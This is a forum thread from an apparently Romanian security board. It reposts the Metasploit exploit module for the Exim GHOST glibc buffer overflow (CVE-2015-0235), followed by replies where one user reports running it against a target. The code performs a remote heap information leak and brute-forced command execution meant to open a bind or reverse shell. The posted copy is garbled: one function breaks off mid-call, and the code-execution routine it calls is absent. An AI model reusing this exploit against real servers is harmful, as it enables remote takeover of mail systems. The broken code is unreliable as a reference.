Aerosol Posted March 18, 2015 Report Posted March 18, 2015 ### This module requires Metasploit: http://metasploit.com/download# Current source: https://github.com/rapid7/metasploit-framework##require 'msf/core'class Metasploit4 < Msf::Exploit::Remote Rank = GreatRanking include Msf::Exploit::Remote::Tcp def initialize(info = {}) super(update_info(info, 'Name' => 'Exim GHOST (glibc gethostbyname) Buffer Overflow', 'Description' => %q( This module remotely exploits CVE-2015-0235 (a.k.a. GHOST, a heap-based buffer overflow in the GNU C Library's gethostbyname functions) on x86 and x86_64 GNU/Linux systems that run the Exim mail server. Technical information about the exploitation can be found in the original GHOST advisory, and in the source code of this module. ------------------------------------------------------------------------ SERVER-SIDE REQUIREMENTS (Exim) ------------------------------------------------------------------------ The remote system must use a vulnerable version of the GNU C Library: the first exploitable version is glibc-2.6, the last exploitable version is glibc-2.17; older versions might be exploitable too, but this module depends on the newer versions' fd_nextsize (a member of the malloc_chunk structure) to remotely obtain the address of Exim's smtp_cmd_buffer in the heap. ------------------------------------------------------------------------ The remote system must run the Exim mail server: the first exploitable version is exim-4.77; older versions might be exploitable too, but this module depends on the newer versions' 16-KB smtp_cmd_buffer to reliably set up the heap as described in the GHOST advisory. ------------------------------------------------------------------------ The remote Exim mail server must be configured to perform extra security checks against its SMTP clients: either the helo_try_verify_hosts or the helo_verify_hosts option must be enabled; the "verify = helo" ACL might be exploitable too, but is unpredictable and therefore not supported by this module. ------------------------------------------------------------------------ CLIENT-SIDE REQUIREMENTS (Metasploit) ------------------------------------------------------------------------ This module's "exploit" method requires the SENDER_HOST_ADDRESS option to be set to the IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim); additionally, this IPv4 address must have both forward and reverse DNS entries that match each other (Forward-Confirmed reverse DNS). ------------------------------------------------------------------------ The remote Exim server might be exploitable even if the Metasploit client has no FCrDNS, but this module depends on Exim's sender_host_name variable to be set in order to reliably control the state of the remote heap. ------------------------------------------------------------------------ TROUBLESHOOTING ------------------------------------------------------------------------ "bad SENDER_HOST_ADDRESS (nil)" failure: the SENDER_HOST_ADDRESS option was not specified. ------------------------------------------------------------------------ "bad SENDER_HOST_ADDRESS (not in IPv4 dotted-decimal notation)" failure: the SENDER_HOST_ADDRESS option was specified, but not in IPv4 dotted-decimal notation. ------------------------------------------------------------------------ "bad SENDER_HOST_ADDRESS (helo_verify_hosts)" or "bad SENDER_HOST_ADDRESS (helo_try_verify_hosts)" failure: the SENDER_HOST_ADDRESS option does not match the IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim). ------------------------------------------------------------------------ "bad SENDER_HOST_ADDRESS (no FCrDNS)" failure: the IPv4 address of the SMTP client (Metasploit) has no Forward-Confirmed reverse DNS. ------------------------------------------------------------------------ "not vuln? old glibc? (no leaked_arch)" failure: the remote Exim server is either not vulnerable, or not exploitable (glibc versions older than glibc-2.6 have no fd_nextsize member in their malloc_chunk structure). ------------------------------------------------------------------------ "NUL, CR, LF in addr? (no leaked_addr)" failure: Exim's heap address contains bad characters (NUL, CR, LF) and was therefore mangled during the information leak; this exploit is able to reconstruct most of these addresses, but not all (worst-case probability is ~1/85, but could be further improved). ------------------------------------------------------------------------ "Brute-force SUCCESS" followed by a nil reply, but no shell: the remote Unix command was executed, but spawned a bind-shell or a reverse-shell that failed to connect (maybe because of a firewall, or a NAT, etc). ------------------------------------------------------------------------ "Brute-force SUCCESS" followed by a non-nil reply, and no shell: the remote Unix command was executed, but failed to spawn the shell (maybe because the setsid command doesn't exist, or awk isn't gawk, or netcat doesn't support the -6 or -e option, or telnet doesn't support the -z option, etc). ------------------------------------------------------------------------ Comments and questions are welcome! ), 'Author' => ['Qualys, Inc. <qsa[at]qualys.com>'], 'License' => BSD_LICENSE, 'References' => [ ['CVE', '2015-0235'], ['US-CERT-VU', '967332'], ['OSVDB', '117579'], ['BID', '72325'], ['URL', 'https://www.qualys.com/research/security-advisories/GHOST-CVE-2015-0235.txt'] ], 'DisclosureDate' => 'Jan 27 2015', 'Privileged' => false, # uid=101(Debian-exim) gid=103(Debian-exim) groups=103(Debian-exim) 'Platform' => 'unix', # actually 'linux', but we execute a unix-command payload 'Arch' => ARCH_CMD, # actually [ARCH_X86, ARCH_X86_64], but ^ 'Payload' => { 'Space' => 255, # the shorter the payload, the higher the probability of code execution 'BadChars' => "", # we encode the payload ourselves, because ^ 'DisableNops' => true, 'ActiveTimeout' => 24*60*60 # we may need more than 150 s to execute our bind-shell }, 'Targets' => [['Automatic', {}]], 'DefaultTarget' => 0 )) register_options([ Opt::RPORT(25), OptAddress.new('SENDER_HOST_ADDRESS', [false, 'The IPv4 address of the SMTP client (Metasploit), as seen by the SMTP server (Exim)', nil]) ], self.class) register_advanced_options([ OptBool.new('I_KNOW_WHAT_I_AM_DOING', [false, 'Please read the source code for details', nil]) ], self.class) end def check # for now, no information about the vulnerable state of the target check_code = Exploit::CheckCode::Unknown begin # not exploiting, just checking smtp_connect(false) # malloc()ate gethostbyname's buffer, and # make sure its next_chunk isn't the top chunk 9.times do smtp_send("HELO ", "", "0", "", "", 1024+16-1+0) smtp_recv(HELO_CODES) end # overflow (4 bytes) gethostbyname's buffer, and # overwrite its next_chunk's size field with 0x00303030 smtp_send("HELO ", "", "0", "", "", 1024+16-1+4) # from now on, an exception means vulnerable check_code = Exploit::CheckCode::Vulnerable # raise an exception if no valid SMTP reply reply = smtp_recv(ANY_CODE) # can't determine vulnerable state if smtp_verify_helo() isn't called return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/ # realloc()ate gethostbyname's buffer, and # crash (old glibc) or abort (new glibc) # on the overwritten size field smtp_send("HELO ", "", "0", "", "", 2048-16-1+4) # raise an exception if no valid SMTP reply reply = smtp_recv(ANY_CODE) # can't determine vulnerable state if smtp_verify_helo() isn't called return Exploit::CheckCode::Unknown if reply[:code] !~ /#{HELO_CODES}/ # a vulnerable target should've crashed by now check_code = Exploit::CheckCode::Safe rescue peer = "#{rhost}:#{rport}" vprint_debug("#{peer} - Caught #{$!.class}: #{$!.message}") ensure smtp_disconnect end return check_code end def exploit unless datastore['I_KNOW_WHAT_I_AM_DOING'] print_status("Checking if target is vulnerable...") fail_with("exploit", "Vulnerability check failed.") if check != Exploit::CheckCode::Vulnerable print_good("Target is vulnerable.") end information_leak code_execution end private HELO_CODES = '250|451|550' ANY_CODE = '[0-9]{3}' MIN_HEAP_SHIFT = 80 MIN_HEAP_SIZE = 128 * 1024 MAX_HEAP_SIZE = 1024 * 1024 # Exim ALIGNMENT = 8 STORE_BLOCK_SIZE = 8192 STOREPOOL_MIN_SIZE = 256 LOG_BUFFER_SIZE = 8192 BIG_BUFFER_SIZE = 16384 SMTP_CMD_BUFFER_SIZE = 16384 IN_BUFFER_SIZE = 8192 # GNU C Library PREV_INUSE = 0x1 NS_MAXDNAME = 1025 # Linux MMAP_MIN_ADDR = 65536 def information_leak print_status("Trying information leak...") leaked_arch = nil leaked_addr = [] # try different heap_shift values, in case Exim's heap address contains # bad chars (NUL, CR, LF) and was mangled during the information leak; # we'll keep the longest one (the least likely to have been truncated) 16.times do done = catch(:another_heap_shift) do heap_shift = MIN_HEAP_SHIFT + (rand(1024) & ~15) print_debug("#{{ heap_shift: heap_shift }}") # write the malloc_chunk header at increasing offsets (8-byte step), # until we overwrite the "503 sender not yet given" error message 128.step(256, 8) do |write_offset| error = try_information_leak(heap_shift, write_offset) print_debug("#{{ write_offset: write_offset, error: error }}") throw(:another_heap_shift) if not error next if error == "503 sender not yet given" # try a few more offsets (allows us to double-check things, # and distinguish between 32-bit and 64-bit machines) error = [error] 1.upto(5) do |i| error[i] = try_information_leak(heap_shift, write_offset + i*8) throw(:another_heap_shift) if not error[i] end print_debug("#{{ error: error }}") _leaked_arch = leaked_arch if (error[0] == error[1]) and (error[0].empty? or (error[0].unpack('C')[0] & 7) == 0) and # fd_nextsize (error[2] == error[3]) and (error[2].empty? or (error[2].unpack('C')[0] & 7) == 0) and # fd (error[4] =~ /\A503 send[^e].?\z/mn) and ((error[4].unpack('C*')[8] & 15) == PREV_INUSE) and # size (error[5] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing() leaked_arch = ARCH_X86_64 elsif (error[0].empty? or (error[0].unpack('C')[0] & 3) == 0) and # fd_nextsize (error[1].empty? or (error[1].unpack('C')[0] & 3) == 0) and # fd (error[2] =~ /\A503 [^s].?\z/mn) and ((error[2].unpack('C*')[4] & 7) == PREV_INUSE) and # size (error[3] == "177") # the last \x7F of our BAD1 command, encoded as \\177 by string_printing() leaked_arch = ARCH_X86 else throw(:another_heap_shift) end print_debug("#{{ leaked_arch: leaked_arch }}") fail_with("infoleak", "arch changed") if _leaked_arch and _leaked_arch != leaked_arch # try different large-bins: most of them should be empty, # so keep the most frequent fd_nextsize address # (a pointer to the malloc_chunk itself) count = Hash.new(0) 0.upto(9) do |last_digit| error = try_information_leak(heap_shift, write_offset, last_digit) next if not error or error.length < 2 # heap_shift can fix the 2 least significant NUL bytes next if (error.unpack('C')[0] & (leaked_arch == ARCH_X86 ? 7 : 15)) != 0 # MALLOC_ALIGN_MASK count[error] += 1 end print_debug("#{{ count: count }}") throw(:another_heap_shift) if count.empty? # convert count to a nested array of [key, value] arrays and sort it error_count = count.sort { |a, b| b[1] <=> a[1] } error_count = error_count.first # most frequent error = error_count[0] count = error_count[1] throw(:another_heap_shift) unless count >= 6 # majority leaked_addr.push({ error: error, shift: heap_shift }) # common-case shortcut if (leaked_arch == ARCH_X86 and error[0,4] == error[4,4] and error[8..-1] == "er not yet given") or (leaked_arch == ARCH_X86_64 and error.length == 6 and error[5].count("\x7E-\x7F").nonzero?) leaked_addr = [leaked_addr.last] # use this one, and not another throw(:another_heap_shift, true) # done end throw(:another_heap_shift) end throw(:another_heap_shift) end break if done end fail_with("infoleak", "not vuln? old glibc? (no leaked_arch)") if leaked_arch.nil? fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr.empty? leaked_addr.sort! { |a, b| b[:error].length <=> a[:error].length } leaked_addr = leaked_addr.first # longest error = leaked_addr[:error] shift = leaked_addr[:shift] leaked_addr = 0 (leaked_arch == ARCH_X86 ? 4 : 8).times do |i| break if i >= error.length leaked_addr += error.unpack('C*')[i] * (2**(i*8)) end # leaked_addr should point to the beginning of Exim's smtp_cmd_buffer: leaked_addr -= 2*SMTP_CMD_BUFFER_SIZE + IN_BUFFER_SIZE + 4*(11*1024+shift) + 3*1024 + STORE_BLOCK_SIZE fail_with("infoleak", "NUL, CR, LF in addr? (no leaked_addr)") if leaked_addr <= MMAP_MIN_ADDR print_good("Successfully leaked_arch: #{leaked_arch}") print_good("Successfully leaked_addr: #{leaked_addr.to_s(16)}") @leaked = { arch: leaked_arch, addr: leaked_addr } end def try_information_leak(heap_shift, write_offset, last_digit = 9) fail_with("infoleak", "heap_shift") if (heap_shift < MIN_HEAP_SHIFT) fail_with("infoleak", "heap_shift") if (heap_shift & 15) != 0 fail_with("infoleak", "write_offset") if (write_offset & 7) != 0 fail_with("infoleak", "last_digit") if "#{last_digit}" !~ /\A[0-9]\z/ smtp_connect # bulletproof Heap Feng Shui; the hard part is avoiding: # "Too many syntax or protocol errors" (3) # "Too many unrecognized commands" (3) # "Too many nonmail commands" (10) smtp_send("HELO ", "", "0", @sender # avoid a future pathological case by forcing it now: # "Do NOT free the first successor, if our current block has less than 256 bytes left." smtp_send("MAIL FROM:", "<", method(:rand_text_alpha), ">", "", STOREPOOL_MIN_SIZE + 16) smtp_recv(501, 'sender address must contain a domain') smtp_send("RSET") smtp_recv(250, 'Reset OK') end def smtp_send(prefix, arg_prefix = nil, arg_pattern = nil, arg_suffix = nil, suffix = nil, arg_length = nil) fail_with("smtp_send", "state is #{@smtp_state}") if @smtp_state != :send @smtp_state = :sending if not arg_pattern fail_with("smtp_send", "prefix is nil") if not prefix fail_with("smtp_send", "param isn't nil") if arg_prefix or arg_suffix or suffix or arg_length command = prefix else fail_with("smtp_send", "param is nil") unless prefix and arg_prefix and arg_suffix and suffix and arg_length length = arg_length - arg_prefix.length - arg_suffix.length fail_with("smtp_send", "len is #{length}") if length <= 0 argument = arg_prefix case arg_pattern when String argument += arg_pattern * (length / arg_pattern.length) argument += arg_pattern[0, length % arg_pattern.length] when Method argument += arg_pattern.call(length) end argument += arg_suffix fail_with("smtp_send", "arglen is #{argument.length}, not #{arg_length}") if argument.length != arg_length command = prefix + argument + suffix end fail_with("smtp_send", "invalid char in cmd") if command.count("^\x20-\x7F") > 0 fail_with("smtp_send", "cmdlen is #{command.length}") if command.length > SMTP_CMD_BUFFER_SIZE command += "\n" # RFC says CRLF, but squeeze as many chars as possible in smtp_cmd_buffer # the following loop works around a bug in the put() method: # "while (send_idx < send_len)" should be "while (send_idx < buf.length)" # (or send_idx and/or send_len could be removed altogether, like here) while command and not command.empty? num_sent = sock.put(command) fail_with("smtp_send", "sent is #{num_sent}") if num_sent <= 0 fail_with("smtp_send", "sent is #{num_sent}, greater than #{command.length}") if num_sent > command.length command = command[num_sent..-1] end @smtp_state = :recv end def smtp_recv(expected_code = nil, expected_data = nil) fail_with("smtp_recv", "state is #{@smtp_state}") if @smtp_state != :recv @smtp_state = :recving failure = catch(:failure) do # parse SMTP replies very carefully (the information # leak injects arbitrary data into multiline replies) data = "" while data !~ /(\A|\r\n)[0-9]{3}[ ].*\r\n\z/mn begin more_data = sock.get_once rescue throw(:failure, "Caught #{$!.class}: #{$!.message}") end throw(:failure, "no more data") if more_data.nil? throw(:failure, "no more data") if more_data.empty? data += more_data end throw(:failure, "malformed reply (count)") if data.count("\0") > 0 lines = data.scan(/(?:\A|\r\n)[0-9]{3}[ -].*?(?=\r\n(?=[0-9]{3}[ -]|\z))/mn) throw(:failure, "malformed reply (empty)") if lines.empty? code = nil lines.size.times do |i| lines[i].sub!(/\A\r\n/mn, "") lines[i] += "\r\n" if i == 0 code = lines[i][0,3] throw(:failure, "bad code") if code !~ /\A[0-9]{3}\z/mn if expected_code and code !~ /\A(#{expected_code})\z/mn throw(:failure, "unexpected #{code}, expected #{expected_code}") end end line_begins_with = lines[i][0,4] line_should_begin_with = code + (i == lines.size-1 ? " " : "-") if line_begins_with != line_should_begin_with throw(:failure, "line begins with #{line_begins_with}, " \ "should begin with #{line_should_begin_with}") end end throw(:failure, "malformed reply (join)") if lines.join("") != data if expected_data and data !~ /#{expected_data}/mn throw(:failure, "unexpected data") end reply = { code: code, lines: lines } @smtp_state = :send return reply end fail_with("smtp_recv", "#{failure}") if expected_code return nil end def smtp_disconnect disconnect if sock fail_with("smtp_disconnect", "sock isn't nil") if sock @smtp_state = :disconnected endendSource 1 Quote
wildchild Posted March 18, 2015 Report Posted March 18, 2015 Super! Tocmai când îmi era mai acru de pus pe puppet ni?te libr?rii noi în speran?a c? nu se obose?te careva, având în vedere c? ar fi fost greu de exploatat. Quote
cyadron Posted March 19, 2015 Report Posted March 19, 2015 Ati avut ceva succes?Eu am mereu aceeasi eroare:[*] Started reverse double handler[*] Checking if target is vulnerable...[-] Exploit aborted due to failure: exploit: Vulnerability check failed. Quote
